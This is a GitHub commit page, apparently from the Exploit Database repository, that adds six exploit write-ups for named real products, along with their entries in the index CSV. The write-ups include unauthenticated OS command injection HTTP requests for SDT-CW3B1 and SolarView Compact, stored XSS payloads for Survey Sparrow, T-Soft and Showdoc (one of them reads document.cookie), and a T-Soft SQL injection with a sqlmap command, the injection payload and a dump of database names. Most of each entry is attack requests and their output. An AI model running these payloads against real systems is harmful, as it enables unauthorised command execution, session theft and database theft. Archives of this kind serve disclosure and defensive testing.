Skip to content
This repository was archived by the owner on Nov 28, 2022. It is now read-only.

Commit cbee98c

Browse files
author
Offensive Security
committed
DB: 2022-05-18
6 changes to exploits/shellcodes SDT-CW3B1 1.1.0 - OS Command Injection SolarView Compact 6.0 - OS Command Injection Survey Sparrow Enterprise Survey Software 2022 - Stored Cross-Site Scripting (XSS) T-Soft E-Commerce 4 - 'UrunAdi' Stored Cross-Site Scripting (XSS) T-Soft E-Commerce 4 - SQLi (Authenticated) Showdoc 2.10.3 - Stored Cross-Site Scripting (XSS)
1 parent 6b9b8c5 commit cbee98c

File tree

7 files changed

+204
-0
lines changed

7 files changed

+204
-0
lines changed

‎exploits/hardware/remote/50936.txt‎

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# Exploit Title: SDT-CW3B1 1.1.0 - OS command injection
2+
# Date: 2022-05-12
3+
# Exploit Author: Ahmed Alroky
4+
# Author Company : AIactive
5+
# Version: 1.0.0
6+
# Vendor home page : http://telesquare.co.kr/
7+
# Authentication Required: No
8+
# CVE : CVE-2021-46422
9+
10+
# Tested on: Windows
11+
12+
# HTTP Request
13+
GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=id HTTP/1.1
14+
Host: IP_HERE
15+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
16+
Accept: */*
17+
Referer: http:// IP_HERE /admin/system_command.shtml
18+
Accept-Encoding: gzip, deflate
19+
Accept-Language: en-US,en;q=0.9
20+
Connection: close

‎exploits/hardware/remote/50940.txt‎

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
# Exploit Title: SolarView Compact 6.0 - OS Command Injection
2+
# Date: 2022-05-15
3+
# Exploit Author: Ahmed Alroky
4+
# Author Company : AIactive
5+
# Version: ver.6.00
6+
# Vendor home page : https://www.contec.com/
7+
# Authentication Required: No
8+
# CVE : CVE-2022-29303
9+
# Tested on: Windows
10+
11+
# Exploit
12+
# HTTP Request :
13+
POST /conf_mail.php HTTP/1.1
14+
Host: HOST_IP
15+
Content-Length: 77
16+
Cache-Control: max-age=0
17+
Upgrade-Insecure-Requests: 1
18+
Origin: http://HOST_IP
19+
Content-Type: application/x-www-form-urlencoded
20+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
21+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
22+
Referer: http://HOST_IP/conf_mail.php
23+
Accept-Encoding: gzip, deflate
24+
Accept-Language: en-US,en;q=0.9
25+
Connection: close
26+
27+
mail_address=%3Bid%3Bwhoami%3Bpwd%3Bls%3B&button=%83%81%81%5B%83%8B%91%97%90M

‎exploits/multiple/webapps/50937.txt‎

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# Exploit Title: Survey Sparrow Enterprise Survey Software 2022 - Stored Cross-Site Scripting (XSS)
2+
# Date: May 11 2022
3+
# Exploit Author: Pankaj Kumar Thakur
4+
# Vendor Homepage: https://surveysparrow.com/
5+
# Software Link: https://surveysparrow.com/enterprise-survey-software/
6+
# Version: 2022
7+
# Tested on: Windows
8+
# CVE : CVE-2022-29727
9+
# References:
10+
https://www.tenable.com/cve/CVE-2022-29727
11+
https://github.com/haxpunk1337/Enterprise-Survey-Software/blob/main/Enterprise-Survey-Software%202022
12+
13+
#POC
14+
15+
For Stored XSS
16+
17+
Visit
18+
https://LOCALHOST/login?test=Javascript%26colon;%252F%252F%E2%80%A9confirm?.(document.cookie)//
19+
20+
XSS Executed

‎exploits/multiple/webapps/50938.txt‎

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
# Exploit Title: T-Soft E-Commerce 4 - 'UrunAdi' Stored Cross-Site Scripting (XSS)
2+
# Exploit Author: Alperen Ergel (alpernae IG/TW)
3+
# Web Site: https://alperenae.gitbook.io/
4+
# Software Homepage: https://www.tsoft.com.tr/
5+
# Version : v4
6+
# Tested on: Kali Linux
7+
# Category: WebApp
8+
# Google Dork: N/A
9+
# Date: 2022-05-10
10+
# CVE :N/A
11+
12+
######## Description ########
13+
#
14+
# 1-) Login administrator page and add product
15+
#
16+
# 2-) add product name to xss payload
17+
#
18+
# 3-) Back to web site then will be work payload
19+
#
20+
#
21+
######## Proof of Concept ########
22+
23+
========>>> REQUEST <<<=========
24+
25+
POST /Y/Moduller/_Urun/Ekle/Action.php HTTP/1.1
26+
Host: domain.com
27+
Cookie: lang=tr; v4=on; nocache=1; TSOFT_USER=xxxx@xxx.com; customDashboardMapping=true; PHPSESSID=18d05ae557640c93fd9739e241850438; rest1SupportUser=0; nocache=1; last_products=12
28+
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
29+
Accept: */*
30+
Accept-Language: en-US,en;q=0.5
31+
Accept-Encoding: gzip, deflate
32+
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
33+
X-Requested-With: XMLHttpRequest
34+
Content-Length: 1028
35+
Origin: https://domain.com
36+
Dnt: 1
37+
Referer: https://domain.com/srv/admin/products/save-edit/index?id=12
38+
Sec-Fetch-Dest: empty
39+
Sec-Fetch-Mode: cors
40+
Sec-Fetch-Site: same-origin
41+
Te: trailers
42+
Connection: close
43+
44+
task=UPDATE&Kategori=18&UrunId=12&UrunAdi={PAYLOAD}&MarkaId=0&MarkaAd=&ModelId=0&ModelAd=&Tedarikci=0&TedarikciKodu=12&StokSayisi=100
45+
&StokBirimId=1&StokBirimAd=Adet&EnYeniUrun=0&EnCokSatilan=0&AramaKelimeleri=&HamSatis=200&AlisFiyat=100&HavaleYuzde=0&Birim=0
46+
&KDV=18&KdvGoster=false&point_catalog=false&IndirimliUrun=true&AltUrunVar=false&YeniUrun=true&AnaSayfaUrun=true&VitrinUrun=false
47+
&Gorunme=true&BayiUrun=false&SiparisNotuGoster=false&En=0&Boy=0&Derinlik=0&Agirlik=0&Desi=1&GarantiBilgisi=
48+
&TeslimatBilgisi=&UrunNot=&WsUrunKodu=T12&SeoAyar=3&SeoTitle=&SeoLink=deneme-urun-1&SeoDesc=&SeoKeyw=
49+
&Detay=%C3%9Cr%C3%BCn%20ekleme%20konusunda%20detayl%C4%B1%20bilgi%20i%C3%A7in%2C%20videomuzu%20
50+
izleyebilirsiniz%3A%C2%A0%0A%3Cdiv%3E%3Ca%20href%3D%22https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DoWlUHvi4IPw%22%3Ehttps%3A%2F%2Fwww.youtube.com%
51+
2Fwatch%3Fv%3DoWlUHvi4IPw%3C%2Fa%3E%3C%2Fdiv%3E&AnaKategoriId=18&point=0&subscribe=0&subscribe_frequency=&subscribe_discount_rate=0
52+
&UruneKargoUcretsiz=0&UyeUcretsizKargo=0&BayiUcretsizKargo=0&Sayisal1=0

‎exploits/multiple/webapps/50939.txt‎

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
# Exploit Title: T-Soft E-Commerce 4 - SQLi (Authenticated)
2+
# Exploit Author: Alperen Ergel
3+
# Contact: @alpernae (IG/TW)
4+
# Software Homepage: https://www.tsoft.com.tr/
5+
# Version : v4
6+
# Tested on: Kali Linux
7+
# Category: WebApp
8+
# Google Dork: N/A
9+
# CVE: 2022-28132
10+
# Date: 18.02.2022
11+
######## Description ###########################################
12+
#
13+
#
14+
#
15+
# Step-1: Login as Admin or with privilage user
16+
# Step-2: Open burp or zap and request the {PoC REQUEST PATH} vulnerable path
17+
# Step-3: Capture the request save as .txt
18+
# Step-4: Run SQLMAP with this command 'sqlmap -r {req.txt} --dbs --level 5 --risk 3 --tamper=space2comment' --random-agent'
19+
# Step-5: Now you're be able to see the dbs for more search 'how to use sqlmap advance'
20+
#
21+
# Impact: Attacker can see the what have in database and it's big impact and attacker can stole datas...
22+
#
23+
#
24+
#
25+
######## Proof of Concept ########################################
26+
27+
========>>> REQUEST <<<=========
28+
29+
GET /Y/Moduller/_Urun/Json.php?_dc=1646232925144&sort=kayittarihi&dir=DESC&AramaKelimesi=&AramaKriteri=UrunAdi&SatisAlt=&SatisUst=
30+
&marka=&model=&tedarikci=&AlisAlt=&AlisUst=&KdvAlt=&KdvUst=&StokAlt=&StokUst=&birim=&extra=&kategori=&Kategori=&gor=0&ind=0&yeni=0&karsila=0&ana=0&grup=&firsat=0&mercek=0&kdvGoster=0&filtre=0&video=0&xml_not_update_price=0&xml_not_update_stock=0&multi_category_sort=0&simge=&desiAlt=&desiUst=&agirlikAlt=&agirlikUst=&stokBirim=&FirsatBaslamaTarihiBas=&FirsatBaslamaTarihiSon=&FirsatBitisTarihiBas=&FirsatBitisTarihiSon=&UrunEklemeTarihiBas=&UrunEklemeTarihiSon=&havaleAlt=&havaleUst=&page=1&start=0&limit=20 HTTP/2
31+
Host: domain.com
32+
Cookie: lang=tr; v4=on; nocache=1; TSOFT_USER=xxx@xx.com; customDashboardMapping=true; countryCode=TR; rest1SupportUser=0; nocache=1; yayinlanmaDurumuPopup=1; yayinlanmaDurumuPopupTimeout=864000; PHPSESSID=fcfa85a5603de7b64bc08eaf68bc51ca; U_TYPE_CK=131; U_TYPE_OK=c16a5320fa475530d9583c34fd356ef5; TSOFT_LOGGED=7d025a34d0526c8896d713159b0d1ffe; email=; phone=; password=
33+
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="98"
34+
X-Requested-With: XMLHttpRequest
35+
Sec-Ch-Ua-Mobile: ?0
36+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
37+
Sec-Ch-Ua-Platform: "Linux"
38+
Accept: */*
39+
Sec-Fetch-Site: same-origin
40+
Sec-Fetch-Mode: cors
41+
Sec-Fetch-Dest: empty
42+
Referer: https://domain.com/srv/admin/products/products-v2/index
43+
Accept-Encoding: gzip, deflate
44+
Accept-Language: en-US,en;q=0.9
45+
46+
=============> RESULTS OF THE SQLMAP <==========================
47+
48+
Parameter: SatisAlt (GET)
49+
Type: boolean-based blind
50+
Title: AND boolean-based blind - WHERE or HAVING clause
51+
Payload: _dc=1646232925144&sort=kayittarihi&dir=DESC&AramaKelimesi=&AramaKriteri=UrunAdi&SatisAlt=' AND 1331=1331 AND 'RcAU'='RcAU&SatisUst=&marka=&model=&tedarikci=&AlisAlt=&AlisUst=&KdvAlt=&KdvUst=&StokAlt=&StokUst=&birim=&extra=&kategori=&Kategori=&gor=0&ind=0&yeni=0&karsila=0&ana=0&grup=&firsat=0&mercek=0&kdvGoster=0&filtre=0&video=0&xml_not_update_price=0&xml_not_update_stock=0&multi_category_sort=0&simge=&desiAlt=&desiUst=&agirlikAlt=&agirlikUst=&stokBirim=&FirsatBaslamaTarihiBas=&FirsatBaslamaTarihiSon=&FirsatBitisTarihiBas=&FirsatBitisTarihiSon=&UrunEklemeTarihiBas=&UrunEklemeTarihiSon=&havaleAlt=&havaleUst=&page=1&start=0&limit=20
52+
---
53+
back-end DBMS: MySQL 5
54+
available databases [2]:
55+
[*] d25082_db
56+
[*] information_schema
57+
58+
[13:05:31] [INFO] GET parameter 'SatisAlt' appears to be 'SQLite > 2.0 OR time-based blind (heavy query)' injectable

‎exploits/php/webapps/50941.txt‎

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
# Exploit Title: Showdoc 2.10.3 - Stored Cross-Site Scripting (XSS)
2+
# Exploit Author: Akshay Ravi
3+
# Vendor Homepage: https://github.com/star7th/showdoc
4+
# Software Link: https://github.com/star7th/showdoc/releases/tag/v2.10.3
5+
# Version: <= 2.10.3
6+
# Tested on: macOS Monterey
7+
# CVE : CVE-2022-0967
8+
9+
Description: Stored XSS via uploading file in .ofd format
10+
11+
1. Create a file with .ofd extension and add XSS Payload inside the file
12+
13+
filename = "payload.ofd"
14+
payload = "<script>alert(1)</script>"
15+
16+
2. Login to showdoc v2.10.2 and go to file library
17+
18+
Endpoint = "https://www.site.com/attachment/index"
19+
20+
3. Upload the payload on file library and click on the check button
21+
4. The XSS payload will executed once we visited the URL

‎files_exploits.csv‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18695,6 +18695,8 @@ id,file,description,date,author,type,platform,port
1869518695
50918,exploits/python/remote/50918.txt,"PyScript - Read Remote Python Source Code",1970-01-01,"Momen Eldawakhly",remote,python,
1869618696
50919,exploits/hardware/remote/50919.txt,"DLINK DAP-1620 A1 v1.01 - Directory Traversal",1970-01-01,"Momen Eldawakhly",remote,hardware,
1869718697
50930,exploits/hardware/remote/50930.py,"Ruijie Reyee Mesh Router - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Minh Khoa",remote,hardware,
18698+
50936,exploits/hardware/remote/50936.txt,"SDT-CW3B1 1.1.0 - OS Command Injection",1970-01-01,"Ahmed Alroky",remote,hardware,
18699+
50940,exploits/hardware/remote/50940.txt,"SolarView Compact 6.0 - OS Command Injection",1970-01-01,"Ahmed Alroky",remote,hardware,
1869818700
6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",1970-01-01,rgod,webapps,php,
1869918701
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",1970-01-01,"Rick Patel",webapps,php,
1870018702
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",1970-01-01,Spoofed,webapps,php,
@@ -44998,3 +45000,7 @@ id,file,description,date,author,type,platform,port
4499845000
50933,exploits/php/webapps/50933.txt,"College Management System 1.0 - 'course_code' SQL Injection (Authenticated)",1970-01-01,"Eren Gozaydin",webapps,php,
4499945001
50934,exploits/php/webapps/50934.txt,"Royal Event Management System 1.0 - 'todate' SQL Injection (Authenticated)",1970-01-01,"Eren Gozaydin",webapps,php,
4500045002
50935,exploits/hardware/webapps/50935.txt,"TLR-2005KSH - Arbitrary File Delete",1970-01-01,"Ahmed Alroky",webapps,hardware,
45003+
50937,exploits/multiple/webapps/50937.txt,"Survey Sparrow Enterprise Survey Software 2022 - Stored Cross-Site Scripting (XSS)",1970-01-01,"Pankaj Kumar Thakur",webapps,multiple,
45004+
50938,exploits/multiple/webapps/50938.txt,"T-Soft E-Commerce 4 - 'UrunAdi' Stored Cross-Site Scripting (XSS)",1970-01-01,"Alperen Ergel",webapps,multiple,
45005+
50939,exploits/multiple/webapps/50939.txt,"T-Soft E-Commerce 4 - SQLi (Authenticated)",1970-01-01,"Alperen Ergel",webapps,multiple,
45006+
50941,exploits/php/webapps/50941.txt,"Showdoc 2.10.3 - Stored Cross-Site Scripting (XSS)",1970-01-01,"Akshay Ravi",webapps,php,

0 commit comments

Comments
 (0)